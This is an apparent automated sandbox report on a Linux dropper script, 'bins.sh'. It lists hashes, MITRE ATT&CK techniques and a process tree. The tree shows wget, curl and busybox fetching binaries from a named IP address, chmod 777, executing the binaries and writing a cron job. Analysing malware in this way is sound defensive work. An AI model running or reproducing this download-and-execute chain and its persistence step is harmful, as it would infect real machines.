91f347e4dbea2b9e58273e262a94e7b0198f795050e3461c25fd3a5b4454e63f

Analysis

max time kernel
6s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21-11-2024 16:26

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General

Target

bins.sh
Size

10KB
MD5

44dbdf99e6e4adb46218f00c0a9b4062
SHA1

6179b5866f487612dcd78a791cb78ed5096f3e28
SHA256

91f347e4dbea2b9e58273e262a94e7b0198f795050e3461c25fd3a5b4454e63f
SHA512

701d0e91d596ff158c4717923a5279da562597e0e7a974adec6ce26a0647954d8cb13b13440f5a97faba176fca7ea657e045034d24006fe2d919d4559811a07f
SSDEEP

192:myJypybUAnwuwiwONfVQ7uiUay+zm7mfmvKaI7TXH79lUgQDUcM8HhHhHEhD7XDC:zIobUASoF6OvKaI/12FFEhDcu6OvKaoj

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
667	chmod
678	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	669	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
/tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq	679	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq

Renames itself 1 IoCs

pid	Process
680	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.qhlkA1	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/722/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/780/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/43/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/704/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/713/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/789/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/630/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/729/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/731/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/13/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/17/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/299/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/635/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/692/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/16/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/145/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/691/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/738/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/751/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/714/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/741/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/18/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/27/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/637/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/643/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/699/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/710/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/752/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/779/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/12/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/15/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/695/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/708/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/720/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/732/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/7/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/267/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/726/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/737/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/757/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/771/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/105/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/703/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/6/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/317/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/638/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/758/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/296/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/706/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/772/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/768/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/5/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/590/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/631/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/707/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/715/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/760/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/750/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/785/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/2/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/135/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/213/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/265/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq	wget
File opened for modification	/tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq	curl
File opened for modification	/tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq	busybox
File opened for modification	/tmp/pNnSN2jIltXOLf3egD9PjEf3emb9ubmbIb	wget
File opened for modification	/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	wget
File opened for modification	/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	curl
File opened for modification	/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:638
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:640
- /usr/bin/wget
  wget http://87.120.125.191/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Writes file to tmp directory
  PID:649
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:658
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Writes file to tmp directory
  PID:665
- /bin/chmod
  chmod 777 C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - File and Directory Permissions Modification
  PID:667
- /tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  ./C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Executes dropped EXE
  PID:669
- /bin/rm
  rm C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  PID:672
- /usr/bin/wget
  wget http://87.120.125.191/bins/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  - Writes file to tmp directory
  PID:673
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  - Writes file to tmp directory
  PID:677
- /bin/chmod
  chmod 777 wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  ./wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:679
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:681
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:682
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:683
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:684
- /bin/rm
  rm wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  PID:690
- /usr/bin/wget
  wget http://87.120.125.191/bins/pNnSN2jIltXOLf3egD9PjEf3emb9ubmbIb
  2⤵
  - Writes file to tmp directory
  PID:694

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/pNnSN2jIltXOLf3egD9PjEf3emb9ubmbIb

Filesize
8KB

MD5
078e46510d56ceb0cc9856f8363f0454

SHA1
efd7d1880ce0496688ae5756ca7463f49ae0e0d3

SHA256
7ce4b09f17cee127ff99e4500e28441a5d888b390f1b1e72a1568c497e97b9cd

SHA512
ce98faa2efb7d0b52bd9abecdf562074e352a7b4fa69cbec09b4cafe4012195c22d4fd558679377d15241afa875a0c24f4fc0353e9808278e7382b1f0f7ae37d

Download Submit
/tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.qhlkA1

Filesize
210B

MD5
2dd6c0000fd8b8c4ffa9193242d928d4

SHA1
a1d765b4077d3aca082055063b51486d7c2aa5f2

SHA256
3aaff32f8184aa2f715526084afc491369cb43535e412390bfd5d113344029b7

SHA512
a29156e4a2db75b7d5d70a61a9cf79ba458a9a58b01e1af8b8c04e8e7478760a5818fe8825ad867e3ce535e21bd5e06bb0e7dc34c1d37d2135bbf54ac6d3c6e1

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads